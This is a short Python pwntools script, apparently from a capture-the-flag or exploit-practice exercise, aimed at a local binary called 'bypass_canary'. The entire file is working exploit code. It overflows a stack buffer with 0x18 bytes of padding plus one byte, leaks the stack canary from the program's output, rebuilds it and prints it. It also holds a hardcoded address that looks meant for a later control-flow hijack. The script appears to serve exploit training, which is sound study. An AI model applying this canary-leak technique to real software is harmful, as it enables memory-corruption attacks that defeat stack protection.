from pwn import *

r=process("./bypass_canary")

print r.recv()
sys=0x40077e
padding="a"*0x18
payload=padding+"1"
gdb.attach(r)
r.sendline(payload)

result=r.recv()
result=result.split("1")[1][:7]

canary="\x00"+result
canary=u64(canary)

print hex(canary)